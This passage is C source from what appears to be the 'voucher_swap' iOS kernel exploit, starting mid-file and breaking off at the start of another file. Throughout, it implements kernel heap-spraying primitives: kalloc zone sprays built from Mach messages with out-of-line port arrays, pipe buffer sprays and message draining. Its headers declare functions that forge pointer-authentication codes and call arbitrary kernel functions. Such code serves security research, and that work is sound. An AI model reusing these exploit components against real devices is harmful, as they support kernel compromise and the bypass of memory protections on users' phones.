sizeof(mach_msg_base_t)) 145 | / sizeof(mach_msg_ool_ports_descriptor_t); 146 | size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool_; 147 | size_t ools_per_message_ = min(max_ools_by_message_size, max_ools_by_port_limit); 148 | // Now that we know how many OOL ports descriptors we can send per message, let's calculate 149 | // the message size. If the message size is too small, we'll just round it up. 150 | size_t message_size_ = sizeof(mach_msg_base_t) 151 | + ools_per_message_ * sizeof(mach_msg_ool_ports_descriptor_t); 152 | assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone); 153 | if (kalloc_size_for_message_size(message_size_) < kalloc_min) { 154 | size_t kalloc_min_rounded = (kalloc_min + 15) & ~15; 155 | message_size_ = (message_size_for_kalloc_size(kalloc_min_rounded) + 3) & ~3; 156 | } 157 | assert(kalloc_min <= kalloc_size_for_message_size(message_size_)); 158 | assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone); 159 | // Return the values. 160 | *message_size = message_size_; 161 | *ools_per_message = ools_per_message_; 162 | *ports_per_ool = ports_per_ool_; 163 | } 164 | 165 | size_t 166 | kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone, 167 | size_t kalloc_count) { 168 | // First compute the message shape for spraying the specified zone. 169 | size_t message_size, ools_per_message, ports_per_ool; 170 | kalloc_spray_compute_message_shape(min_kalloc_size, kalloc_zone, 171 | &message_size, &ools_per_message, &ports_per_ool); 172 | assert(min_kalloc_size <= kalloc_size_for_message_size(message_size)); 173 | assert(kalloc_size_for_message_size(message_size) <= kalloc_zone); 174 | assert(min_kalloc_size <= ports_per_ool * sizeof(uint64_t)); 175 | assert(ports_per_ool * sizeof(uint64_t) <= kalloc_zone); 176 | assert(sizeof(mach_msg_base_t) + ools_per_message * sizeof(mach_msg_ool_ports_descriptor_t) <= message_size); 177 | // How many allocations does each message we send give us? Well, there's 1 allocation for 178 | // the message and 1 allocation for each OOL ports descriptor. 179 | size_t kallocs_per_message = 1 + ools_per_message; 180 | // How many full/partial messages will we need to spray kalloc_count allocations? If the 181 | // number of full messages is greater than the queue limit, truncate to that many messages. 182 | size_t full_message_count = kalloc_count / kallocs_per_message; 183 | size_t partial_message_kalloc_count = kalloc_count % kallocs_per_message; 184 | if (full_message_count >= MACH_PORT_QLIMIT_MAX) { 185 | full_message_count = MACH_PORT_QLIMIT_MAX; 186 | partial_message_kalloc_count = 0; 187 | } 188 | // Alright, so now we have all the parameters we need. Spray all the full messages to the 189 | // port. 190 | DEBUG_TRACE(2, "%s: %zu full messages, %zu descriptors per message, " 191 | "%zu ports per descriptor, %zu kallocs (%zu bytes) per message", 192 | __func__, full_message_count, ools_per_message, ports_per_ool, 193 | kallocs_per_message, kallocs_per_message * kalloc_zone); 194 | size_t full_messages_sent = ool_ports_spray_port( 195 | holding_port, 196 | NULL, 197 | ports_per_ool, 198 | MACH_MSG_TYPE_MAKE_SEND, 199 | ools_per_message, 200 | message_size, 201 | full_message_count); 202 | size_t full_messages_kallocs = full_messages_sent * kallocs_per_message; 203 | // If we sent all the full messages (indicating no errors were encountered) and we also 204 | // want to send a partial message, send that. 205 | size_t partial_message_kallocs = 0; 206 | if (full_messages_sent == full_message_count && partial_message_kalloc_count > 0) { 207 | size_t partial_message_ools = partial_message_kalloc_count - 1; 208 | size_t partial_messages_sent = ool_ports_spray_port( 209 | holding_port, 210 | NULL, 211 | ports_per_ool, 212 | MACH_MSG_TYPE_MAKE_SEND, 213 | partial_message_ools, 214 | message_size, 215 | 1); 216 | partial_message_kallocs = partial_messages_sent * partial_message_kalloc_count; 217 | } 218 | // Finally, return the total number of kallocs stashed in our port. 219 | assert(full_messages_kallocs + partial_message_kallocs <= kalloc_count); 220 | return full_messages_kallocs + partial_message_kallocs; 221 | } 222 | 223 | size_t 224 | kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count, 225 | size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size) { 226 | size_t kallocs_needed = (spray_size + kalloc_zone - 1) / kalloc_zone; 227 | size_t count = *port_count; 228 | // Spray to each of the ports in turn. 229 | size_t kallocs_left = kallocs_needed; 230 | size_t ports_used = 0; 231 | for (; ports_used < count && kallocs_left > 0; ports_used++) { 232 | size_t kallocs_done = kalloc_spray_port(holding_ports[ports_used], 233 | min_kalloc_size, kalloc_zone, kallocs_left); 234 | assert(kallocs_done <= kallocs_left); 235 | kallocs_left -= kallocs_done; 236 | } 237 | // Compute how many kallocs were actually performed. 238 | size_t kallocs_done = kallocs_needed - kallocs_left; 239 | if (kallocs_left > 0) { 240 | WARNING("failed to spray %zu * kalloc(%zu)", kallocs_left, kalloc_zone); 241 | } 242 | // Return the number of ports actually used and the number of bytes actually sprayed. 243 | *port_count = ports_used; 244 | return kallocs_done * kalloc_zone; 245 | } 246 | 247 | mach_port_t * 248 | create_ports(size_t count) { 249 | mach_port_t *ports = calloc(count, sizeof(*ports)); 250 | assert(ports != NULL); 251 | mach_port_options_t options = {}; 252 | for (size_t i = 0; i < count; i++) { 253 | kern_return_t kr = mach_port_construct(mach_task_self(), &options, 0, &ports[i]); 254 | assert(kr == KERN_SUCCESS); 255 | } 256 | return ports; 257 | } 258 | 259 | void 260 | destroy_ports(mach_port_t *ports, size_t count) { 261 | for (size_t i = 0; i < count; i++) { 262 | mach_port_t port = ports[i]; 263 | if (MACH_PORT_VALID(port)) { 264 | kern_return_t kr = mach_port_destroy(mach_task_self(), port); 265 | if (kr != KERN_SUCCESS) { 266 | ERROR("%s returned %d: %s", "mach_port_destroy", 267 | kr, mach_error_string(kr)); 268 | } 269 | } 270 | ports[i] = MACH_PORT_DEAD; 271 | } 272 | } 273 | 274 | void 275 | deallocate_ports(mach_port_t *ports, size_t count) { 276 | for (size_t i = 0; i < count; i++) { 277 | mach_port_t port = ports[i]; 278 | if (MACH_PORT_VALID(port)) { 279 | kern_return_t kr = mach_port_deallocate(mach_task_self(), port); 280 | if (kr != KERN_SUCCESS) { 281 | ERROR("%s returned %d: %s", "mach_port_deallocate", 282 | kr, mach_error_string(kr)); 283 | } 284 | } 285 | ports[i] = MACH_PORT_DEAD; 286 | } 287 | } 288 | 289 | void 290 | port_increase_queue_limit(mach_port_t port) { 291 | mach_port_limits_t limits = { .mpl_qlimit = MACH_PORT_QLIMIT_MAX }; 292 | kern_return_t kr = mach_port_set_attributes( 293 | mach_task_self(), 294 | port, 295 | MACH_PORT_LIMITS_INFO, 296 | (mach_port_info_t) &limits, 297 | MACH_PORT_LIMITS_INFO_COUNT); 298 | assert(kr == KERN_SUCCESS); 299 | } 300 | 301 | void 302 | port_insert_send_right(mach_port_t port) { 303 | kern_return_t kr = mach_port_insert_right(mach_task_self(), port, port, 304 | MACH_MSG_TYPE_MAKE_SEND); 305 | assert(kr == KERN_SUCCESS); 306 | } 307 | 308 | /* 309 | * ool_ports_spray_size_with_gc_compute_parameters 310 | * 311 | * Description: 312 | * Compute the spray parameters for ool_ports_spray_size_with_gc(). 313 | */ 314 | static void 315 | ool_ports_spray_size_with_gc_compute_parameters( 316 | size_t ports_per_ool, size_t message_size, size_t spray_size, 317 | size_t *ool_size, size_t *ools_per_message, size_t *ools_needed) { 318 | // Each message will contain no more than gc_step bytes of OOL ports. 319 | const size_t max_ool_memory_per_message = gc_step; 320 | // How many OOL ports descriptors can we send per message? As many as we'd like, as long 321 | // as: 322 | // 1. we aren't sending more than gc_step bytes of OOL ports in a message, 323 | // 2. we have space for them in the message, and 324 | // 3. we don't blow through the max_ool_ports_per_message limit. 325 | size_t ool_size_ = ports_per_ool * sizeof(uint64_t); 326 | size_t max_ools_by_memory = max_ool_memory_per_message / ool_size_; 327 | size_t max_ools_by_message_size = 328 | (message_size - sizeof(mach_msg_base_t)) 329 | / sizeof(mach_msg_ool_ports_descriptor_t); 330 | size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool; 331 | size_t ools_per_message_ = min(max_ools_by_memory, 332 | min(max_ools_by_message_size, max_ools_by_port_limit)); 333 | // How many OOL port descriptors will we need to spray? Enough to fill all the requested 334 | // memory. 335 | size_t ools_needed_ = (spray_size + ool_size_ - 1) / ool_size_; 336 | // Return the parameters. 337 | *ool_size = ool_size_; 338 | *ools_per_message = ools_per_message_; 339 | *ools_needed = ools_needed_; 340 | } 341 | 342 | size_t 343 | ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count, 344 | size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count, 345 | mach_msg_type_name_t ool_disposition, size_t spray_size) { 346 | // Compute the parameters for the spray. 347 | size_t ool_size, ools_per_message, ools_needed; 348 | ool_ports_spray_size_with_gc_compute_parameters(ool_port_count, message_size, spray_size, 349 | &ool_size, &ools_per_message, &ools_needed); 350 | // Spray to each of the ports in turn until we've created the requisite number of OOL ports 351 | // allocations. 352 | ssize_t ools_left = ools_needed; 353 | size_t sprayed = 0; 354 | size_t next_gc_step = 0; 355 | size_t port_count = *holding_port_count; 356 | size_t ports_used = 0; 357 | for (; ports_used < port_count && ools_left > 0; ports_used++) { 358 | // Spray this port one message at a time until we've maxed out its queue. 359 | size_t messages_sent = 0; 360 | for (; messages_sent < (kCFCoreFoundationVersionNumber >= 1535.12 ? MACH_PORT_QLIMIT_MAX : MACH_PORT_QLIMIT_DEFAULT) && ools_left > 0; messages_sent++) { 361 | // If we've crossed the GC sleep boundary, sleep for a bit and schedule the 362 | // next one. 363 | if (sprayed >= next_gc_step) { 364 | next_gc_step += gc_step; 365 | pthread_yield_np(); 366 | usleep(10000); 367 | fprintf(stderr, "."); 368 | } 369 | // Send a message. 370 | size_t sent = ool_ports_spray_port( 371 | holding_ports[ports_used], 372 | ool_ports, 373 | ool_port_count, 374 | ool_disposition, 375 | ools_per_message, 376 | message_size, 377 | 1); 378 | // If we couldn't send a message to this port, stop trying to send more 379 | // messages and move on to the next port. 380 | if (sent != 1) { 381 | assert(sent == 0); 382 | break; 383 | } 384 | // We sent a full message worth of OOL port descriptors. 385 | sprayed += ools_per_message * ool_size; 386 | ools_left -= ools_per_message; 387 | } 388 | } 389 | fprintf(stderr, "\n"); 390 | // Return the number of ports actually used and the number of bytes actually sprayed. 391 | *holding_port_count = ports_used; 392 | return sprayed; 393 | } 394 | 395 | void 396 | port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *)) { 397 | kern_return_t kr; 398 | mach_msg_option_t options = MACH_RCV_MSG | MACH_RCV_LARGE | MACH_RCV_TIMEOUT 399 | | MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0) 400 | | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_NULL); 401 | // Allocate an initial message buffer. 402 | mach_msg_size_t msg_size = 0x4000; 403 | mach_msg_base_t *msg = malloc(msg_size); 404 | assert(msg != NULL); 405 | // Loop through all the messages queued on the port. 406 | for (;;) { 407 | // Try to receive the message. If the buffer isn't big enough, reallocate 408 | // and try again. This should only happen twice. 409 | for (size_t try = 0;; try++) { 410 | assert(try < 2); 411 | // Receive the message. 412 | kr = mach_msg( 413 | &msg->header, 414 | options, 415 | 0, 416 | msg_size, 417 | port, 418 | 0, 419 | MACH_PORT_NULL); 420 | if (kr != MACH_RCV_LARGE) { 421 | break; 422 | } 423 | // The buffer was too small, increase it. 424 | msg_size = msg->header.msgh_size + REQUESTED_TRAILER_SIZE(options); 425 | free(msg); 426 | msg = malloc(msg_size); 427 | assert(msg != NULL); 428 | } 429 | // If we got an error, stop processing messages on this port. If the error is a 430 | // timeout, that means that we've exhausted the queue, so don't print an error 431 | // message. 432 | if (kr != KERN_SUCCESS) { 433 | if (kr != MACH_RCV_TIMED_OUT) { 434 | ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr)); 435 | } 436 | break; 437 | } 438 | // Pass the message to the message handler. 439 | message_handler(&msg->header); 440 | } 441 | // Clean up resources. 442 | free(msg); 443 | } 444 | 445 | void 446 | port_discard_messages(mach_port_t port) { 447 | port_drain_messages(port, ^(mach_msg_header_t *header) { 448 | mach_msg_destroy(header); 449 | }); 450 | } 451 | 452 | void 453 | ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count, 454 | void (^ool_ports_handler)(mach_port_t *, size_t)) { 455 | // Loop through all the ports. 456 | for (size_t port_index = 0; port_index < holding_port_count; port_index++) { 457 | // Handle each message on the port. 458 | port_drain_messages(holding_ports[port_index], ^(mach_msg_header_t *msg0) { 459 | struct ool_ports_msg *msg = (struct ool_ports_msg *)msg0; 460 | // We've successfully received a message. Make sure it's the type we 461 | // expect. 462 | if (msg->header.msgh_id != 'ools') { 463 | WARNING("received unexpected message id 0x%x", 464 | msg->header.msgh_id); 465 | goto done; 466 | } 467 | if (!MACH_MSGH_BITS_IS_COMPLEX(msg->header.msgh_bits)) { 468 | WARNING("skipping non-complex message"); 469 | goto done; 470 | } 471 | // Go through the descriptors one at a time passing them to the handler 472 | // block. 473 | mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)&msg->ool_ports[0]; 474 | for (size_t i = 0; i < msg->body.msgh_descriptor_count; i++) { 475 | void *next; 476 | switch (d->type.type) { 477 | case MACH_MSG_OOL_PORTS_DESCRIPTOR: 478 | next = &d->ool_ports + 1; 479 | mach_port_t *ports = (mach_port_t *) 480 | d->ool_ports.address; 481 | size_t count = d->ool_ports.count; 482 | ool_ports_handler(ports, count); 483 | break; 484 | default: 485 | WARNING("unexpected descriptor type %u", 486 | d->type.type); 487 | goto done; 488 | } 489 | d = (mach_msg_descriptor_t *)next; 490 | } 491 | done: 492 | // Discard the message. 493 | mach_msg_destroy(&msg->header); 494 | }); 495 | } 496 | } 497 | 498 | void 499 | increase_file_limit() { 500 | struct rlimit rl = {}; 501 | int error = getrlimit(RLIMIT_NOFILE, &rl); 502 | assert(error == 0); 503 | rl.rlim_cur = 10240; 504 | rl.rlim_max = rl.rlim_cur; 505 | error = setrlimit(RLIMIT_NOFILE, &rl); 506 | if (error != 0) { 507 | ERROR("could not increase file limit"); 508 | } 509 | error = getrlimit(RLIMIT_NOFILE, &rl); 510 | assert(error == 0); 511 | if (rl.rlim_cur != 10240) { 512 | ERROR("file limit is %llu", rl.rlim_cur); 513 | } 514 | } 515 | 516 | void 517 | pipe_close(int pipefds[2]) { 518 | close(pipefds[0]); 519 | close(pipefds[1]); 520 | } 521 | 522 | /* 523 | * set_nonblock 524 | * 525 | * Description: 526 | * Set the O_NONBLOCK flag on the specified file descriptor. 527 | */ 528 | static void 529 | set_nonblock(int fd) { 530 | int flags = fcntl(fd, F_GETFL); 531 | flags |= O_NONBLOCK; 532 | fcntl(fd, F_SETFL, flags); 533 | } 534 | 535 | int * 536 | create_pipes(size_t *pipe_count) { 537 | // Allocate our initial array. 538 | size_t capacity = *pipe_count; 539 | int *pipefds = calloc(2 * capacity, sizeof(int)); 540 | assert(pipefds != NULL); 541 | // Create as many pipes as we can. 542 | size_t count = 0; 543 | for (; count < capacity; count++) { 544 | // First create our pipe fds. 545 | int fds[2] = { -1, -1 }; 546 | int error = pipe(fds); 547 | // Unfortunately pipe() seems to return success with invalid fds once we've 548 | // exhausted the file limit. Check for this. 549 | if (error != 0 || fds[0] < 0 || fds[1] < 0) { 550 | pipe_close(fds); 551 | break; 552 | } 553 | // Mark the write-end as nonblocking. 554 | set_nonblock(fds[1]); 555 | // Store the fds. 556 | pipefds[2 * count + 0] = fds[0]; 557 | pipefds[2 * count + 1] = fds[1]; 558 | } 559 | // Truncate the array to the smaller size. 560 | int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int)); 561 | assert(new_pipefds != NULL); 562 | // Return the count and the array. 563 | *pipe_count = count; 564 | return new_pipefds; 565 | } 566 | 567 | void 568 | close_pipes(int *pipefds, size_t pipe_count) { 569 | for (size_t i = 0; i < pipe_count; i++) { 570 | pipe_close(pipefds + 2 * i); 571 | } 572 | } 573 | 574 | size_t 575 | pipe_spray(const int *pipefds, size_t pipe_count, 576 | void *pipe_buffer, size_t pipe_buffer_size, 577 | void (^update)(uint32_t pipe_index, void *data, size_t size)) { 578 | assert(pipe_count <= 0xffffff); 579 | assert(pipe_buffer_size > 512); 580 | size_t write_size = pipe_buffer_size - 1; 581 | size_t pipes_filled = 0; 582 | for (size_t i = 0; i < pipe_count; i++) { 583 | // Update the buffer. 584 | if (update != NULL) { 585 | update((uint32_t)i, pipe_buffer, pipe_buffer_size); 586 | } 587 | // Fill the write-end of the pipe with the buffer. Leave off the last byte. 588 | int wfd = pipefds[2 * i + 1]; 589 | ssize_t written = write(wfd, pipe_buffer, write_size); 590 | if (written != write_size) { 591 | // This is most likely because we've run out of pipe buffer memory. None of 592 | // the subsequent writes will work either. 593 | break; 594 | } 595 | pipes_filled++; 596 | } 597 | return pipes_filled; 598 | } 599 | -------------------------------------------------------------------------------- /src/kernel_call/kernel_alloc.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_alloc.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_ALLOC_H_ 6 | #define VOUCHER_SWAP__KERNEL_ALLOC_H_ 7 | 8 | #include 9 | #include 10 | 11 | /* 12 | * message_size_for_kalloc_size 13 | * 14 | * Description: 15 | * Return the Mach message size needed for the ipc_kmsg to be allocated from the specified 16 | * kalloc zone. This is exactly correct when kalloc_size is a multiple of 16, otherwise it 17 | * could be slightly small. 18 | */ 19 | size_t message_size_for_kalloc_size(size_t kalloc_size); 20 | 21 | /* 22 | * kalloc_size_for_message_size 23 | * 24 | * Description: 25 | * Return the kalloc allocation size corresponding to sending a message of the specified size. 26 | * 27 | * This is only correct for messages large enough that the ipc_kmsg struct is allocated with 28 | * kalloc(). 29 | */ 30 | size_t kalloc_size_for_message_size(size_t message_size); 31 | 32 | /* 33 | * ipc_kmsg_size_for_message_size 34 | * 35 | * Description: 36 | * Return the allocation size of the ipc_kmsg for the given message size. 37 | */ 38 | size_t ipc_kmsg_size_for_message_size(size_t message_size); 39 | 40 | /* 41 | * ool_ports_spray_port 42 | * 43 | * Description: 44 | * Spray the given Mach port with Mach messages that contain out-of-line ports descriptors 45 | * with the given ports. The goal is to spray the target kalloc zone with many copies of a 46 | * particular array of OOL ports. 47 | * 48 | * Make sure that the port's queue limits are sufficient to hold the specified number of 49 | * messages. 50 | * 51 | * Unfortunately, we cannot avoid the creation of ipc_kmsg objects to hold the messages 52 | * enqueued on the port. You should ensure that the appropriate kalloc zone's freelist has 53 | * sufficiently many intermediates to ensure that ipc_kmsg allocation does not interfere with 54 | * the OOL ports spray. 55 | * 56 | * There are limits on the number of OOL ports that can be sent in a message, the number of 57 | * descriptors in a message, and the number of messages that can be queued on a port. Be sure 58 | * that the parameters you supply are valid, since this function does not check whether or not 59 | * the kernel will let your message through (or even whether they make sense). 60 | * 61 | * Parameters: 62 | * holding_port The port on which to enqueue the Mach messages. 63 | * ool_ports The OOL Mach ports to spray. 64 | * port_count The number of OOL Mach ports. 65 | * ool_disposition The disposition to send the OOL ports. 66 | * ool_count The number of OOL ports descriptors to send per message. 67 | * message_size The size of each message. 68 | * message_count The number of messages to enqueue on the holding port. 69 | * 70 | * Returns: 71 | * Returns the number of messages that were successfully sent. 72 | */ 73 | size_t ool_ports_spray_port(mach_port_t holding_port, 74 | const mach_port_t *ool_ports, size_t port_count, 75 | mach_msg_type_name_t ool_disposition, size_t ool_count, 76 | size_t message_size, size_t message_count); 77 | 78 | /* 79 | * kalloc_spray_port 80 | * 81 | * Description: 82 | * Spray the specified kalloc_zone with at least kalloc_count allocations by sending Mach 83 | * messages containing OOL ports to the specified holding port. Returns the number of kalloc 84 | * allocations that were actually performed. 85 | * 86 | * The point of this function is to quickly make as many kalloc allocations in the target zone 87 | * as possible using the specified holding port. The way we do this is by sending messages 88 | * with many OOL ports descriptors (consisting of empty ports) such that both the ipc_kmsg 89 | * struct for the message and the OOL port arrays fall into the target kalloc zone. We will 90 | * continue sending messages to the port until either we've created the required number of 91 | * allocations or we've filled up the port's message queue. 92 | * 93 | * To free the allocations, call mach_port_destroy() on the holding port. Note that this will 94 | * also free the holding port if there are no other references. 95 | * 96 | * Parameters: 97 | * holding_port The port on which to enqueue the Mach messages. 98 | * min_kalloc_size The minimum sized allocation that is handled by this zone. 99 | * kalloc_zone The kalloc zone in which to spray allocations. 100 | * kalloc_count The desired number of allocations to make. 101 | * 102 | * Returns: 103 | * Returns the number of kalloc allocations actually made, which may be less than the number 104 | * requested if the port fills up or if an error is encountered. 105 | */ 106 | size_t kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone, 107 | size_t kalloc_count); 108 | 109 | /* 110 | * kalloc_spray_size 111 | * 112 | * Description: 113 | * Spray the specified kalloc_zone with spray_size bytes of allocations by sending Mach 114 | * messages containing OOL ports to the given holding ports. 115 | * 116 | * See kalloc_spray_port(). 117 | * 118 | * To free the allocations, call destroy_ports() on the holding ports. Note that 119 | * destroy_ports() will also free the holding ports themselves if there are no other 120 | * references. 121 | * 122 | * Parameters: 123 | * holding_ports The array of holding ports. 124 | * port_count inout On entry, the number of holding ports available. On exit, 125 | * the number of holding ports used. 126 | * min_kalloc_size The minimum sized allocation that is handled by this zone. 127 | * kalloc_zone The kalloc zone in which to spray allocations. 128 | * spray_size The number of bytes to try and spray to the target zone. 129 | * 130 | * Returns: 131 | * Returns the number of bytes actually sprayed to the kalloc zone. This could be less than 132 | * the requested size if an error is encountered or more than the requested size if the spray 133 | * size was not an even multiple of the zone size. 134 | */ 135 | size_t kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count, 136 | size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size); 137 | 138 | /* 139 | * ool_ports_spray_size_with_gc 140 | * 141 | * Description: 142 | * Spray spray_size bytes of kernel memory with the specified out-of-line ports. 143 | * 144 | * Parameters: 145 | * holding_ports The array of holding ports. 146 | * holding_port_count inout On entry, the number of holding ports available. On exit, 147 | * the number of holding ports used. 148 | * message_size The size of each message to send. This parameter should be 149 | * chosen carefully, as allocations will be taken out of the 150 | * corresponding kalloc zone. 151 | * ool_ports The OOL Mach ports to spray. 152 | * ool_port_count The number of OOL Mach ports. 153 | * ool_disposition The disposition to send the OOL ports. 154 | * spray_size The number of bytes of OOL ports to try and spray. 155 | * 156 | * Returns: 157 | * Returns the number of bytes of OOL ports actually sprayed. 158 | */ 159 | size_t ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count, 160 | size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count, 161 | mach_msg_type_name_t ool_disposition, size_t spray_size); 162 | 163 | /* 164 | * create_ports 165 | * 166 | * Description: 167 | * Create an array of Mach ports. The Mach ports are receive rights only. Once the array is no 168 | * longer needed, deallocate it with free(). 169 | */ 170 | mach_port_t *create_ports(size_t count); 171 | 172 | /* 173 | * destroy_ports 174 | * 175 | * Description: 176 | * Destroys the specified Mach ports and sets them to MACH_PORT_DEAD. 177 | */ 178 | void destroy_ports(mach_port_t *ports, size_t count); 179 | 180 | /* 181 | * deallocate_ports 182 | * 183 | * Description: 184 | * Deallocates the specified Mach ports and sets them to MACH_PORT_DEAD. 185 | */ 186 | void deallocate_ports(mach_port_t *ports, size_t count); 187 | 188 | /* 189 | * port_increase_queue_limit 190 | * 191 | * Description: 192 | * Increase the queue limit on the specified Mach port to MACH_PORT_QLIMIT_MAX. 193 | */ 194 | void port_increase_queue_limit(mach_port_t port); 195 | 196 | /* 197 | * port_insert_send_right 198 | * 199 | * Description: 200 | * Insert a send right on the specified port, which must name a receive right. 201 | */ 202 | void port_insert_send_right(mach_port_t port); 203 | 204 | /* 205 | * port_drain_messages 206 | * 207 | * Description: 208 | * Drain all the messages currently queued on the specified port. The messages are passed to 209 | * the message_handler block, which is responsible for processing the messages and freeing any 210 | * associated resources (e.g. with mach_msg_destroy()). 211 | */ 212 | void port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *)); 213 | 214 | /* 215 | * port_discard_messages 216 | * 217 | * Description: 218 | * Discard all the messages currently queued on the specified port. The messages are received 219 | * and passed directly to mach_msg_destroy(). 220 | */ 221 | void port_discard_messages(mach_port_t port); 222 | 223 | /* 224 | * ool_ports_spray_receive 225 | * 226 | * Description: 227 | * Receive all the messages queued on the holding ports and pass the OOL ports descriptors to 228 | * the specified handler block. The messages are destroyed after they are processed. 229 | */ 230 | void ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count, 231 | void (^ool_ports_handler)(mach_port_t *, size_t)); 232 | 233 | /* 234 | * increase_file_limit 235 | * 236 | * Description: 237 | * Increase our process's limit on the number of open files. 238 | */ 239 | void increase_file_limit(void); 240 | 241 | /* 242 | * pipe_close 243 | * 244 | * Description: 245 | * Close the file descriptors of a pipe. 246 | */ 247 | void pipe_close(int pipefds[2]); 248 | 249 | /* 250 | * create_pipes 251 | * 252 | * Description: 253 | * Create a spray of pipes. On entry, pipe_count specifies the requested number of pipes, and 254 | * on return it contains the number of pipes actually created. 255 | * 256 | * The pipes are returned as an array of file descriptors. 257 | */ 258 | int *create_pipes(size_t *pipe_count); 259 | 260 | /* 261 | * close_pipes 262 | * 263 | * Description: 264 | * Close the pipes in an array. 265 | */ 266 | void close_pipes(int *pipefds, size_t pipe_count); 267 | 268 | /* 269 | * pipe_spray 270 | * 271 | * Description: 272 | * Spray data to the pipes. Note that XNU limits the collective size of all pipe buffers to 273 | * 16 MB, so that's the maximum we'll be able to spray. 274 | * 275 | * Note that the last byte of the sprayed data won't be written to memory! 276 | * 277 | * Parameters: 278 | * pipefds The pipe file descriptors. 279 | * pipe_count The number of pipe fd pairs. 280 | * pipe_buffer The data to spray. 281 | * pipe_buffer_size The size of the data to spray. 282 | * update A callback to modify the data on each iteration. 283 | * 284 | * Returns: 285 | * Returns the number of pipes actually filled. 286 | */ 287 | size_t pipe_spray(const int *pipefds, size_t pipe_count, 288 | void *pipe_buffer, size_t pipe_buffer_size, 289 | void (^update)(uint32_t pipe_index, void *data, size_t size)); 290 | 291 | #endif 292 | -------------------------------------------------------------------------------- /src/kernel_call/kernel_call.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call.c 3 | * Brandon Azad 4 | */ 5 | #include "kernel_call.h" 6 | 7 | #include 8 | 9 | #include "pac.h" 10 | #include "user_client.h" 11 | #include "log.h" 12 | 13 | // ---- Public API -------------------------------------------------------------------------------- 14 | 15 | bool 16 | kernel_call_init() { 17 | bool ok = stage1_kernel_call_init() 18 | && stage2_kernel_call_init() 19 | && stage3_kernel_call_init(); 20 | if (!ok) { 21 | kernel_call_deinit(); 22 | } 23 | return ok; 24 | } 25 | 26 | void 27 | kernel_call_deinit() { 28 | stage3_kernel_call_deinit(); 29 | stage2_kernel_call_deinit(); 30 | stage1_kernel_call_deinit(); 31 | } 32 | 33 | uint32_t 34 | kernel_call_7(uint64_t function, size_t argument_count, ...) { 35 | assert(argument_count <= 7); 36 | uint64_t arguments[7]; 37 | va_list ap; 38 | va_start(ap, argument_count); 39 | for (size_t i = 0; i < argument_count && i < 7; i++) { 40 | arguments[i] = va_arg(ap, uint64_t); 41 | } 42 | va_end(ap); 43 | return kernel_call_7v(function, argument_count, arguments); 44 | } 45 | -------------------------------------------------------------------------------- /src/kernel_call/kernel_call.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_CALL_H_ 6 | #define VOUCHER_SWAP__KERNEL_CALL_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | /* 13 | * kernel_call_init 14 | * 15 | * Description: 16 | * Initialize kernel_call functions. 17 | */ 18 | bool kernel_call_init(void); 19 | 20 | /* 21 | * kernel_call_deinit 22 | * 23 | * Description: 24 | * Deinitialize the kernel call subsystem and restore the kernel to a safe state. 25 | */ 26 | void kernel_call_deinit(void); 27 | 28 | /* 29 | * kernel_call_7 30 | * 31 | * Description: 32 | * Call a kernel function with the specified arguments. 33 | * 34 | * Restrictions: 35 | * See kernel_call_7v(). 36 | */ 37 | uint32_t kernel_call_7(uint64_t function, size_t argument_count, ...); 38 | 39 | /* 40 | * kernel_call_7v 41 | * 42 | * Description: 43 | * Call a kernel function with the specified arguments. 44 | * 45 | * Restrictions: 46 | * At most 7 arguments can be passed. 47 | * arguments[0] must be nonzero. 48 | * The return value is truncated to 32 bits. 49 | */ 50 | uint32_t kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]); 51 | 52 | /* 53 | * kernel_forge_pacia 54 | * 55 | * Description: 56 | * Forge a PACIA pointer using the kernel forging gadget. 57 | */ 58 | uint64_t kernel_forge_pacia(uint64_t pointer, uint64_t context); 59 | 60 | /* 61 | * kernel_forge_pacia_with_type 62 | * 63 | * Description: 64 | * Forge a PACIA pointer using the specified address, with the upper 16 bits replaced by the 65 | * type code, as context. 66 | */ 67 | uint64_t kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type); 68 | 69 | /* 70 | * kernel_forge_pacda 71 | * 72 | * Description: 73 | * Forge a PACDA pointer using the kernel forging gadget. 74 | */ 75 | uint64_t kernel_forge_pacda(uint64_t pointer, uint64_t context); 76 | 77 | /* 78 | * kernel_xpaci 79 | * 80 | * Description: 81 | * Strip a PACIx code from a kernel pointer. 82 | */ 83 | uint64_t kernel_xpaci(uint64_t pointer); 84 | 85 | /* 86 | * kernel_xpacd 87 | * 88 | * Description: 89 | * Strip a PACDx code from a kernel pointer. 90 | */ 91 | uint64_t kernel_xpacd(uint64_t pointer); 92 | 93 | #endif 94 | -------------------------------------------------------------------------------- /src/kernel_call/kernel_memory.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_memory.c 3 | * Brandon Azad 4 | */ 5 | #define 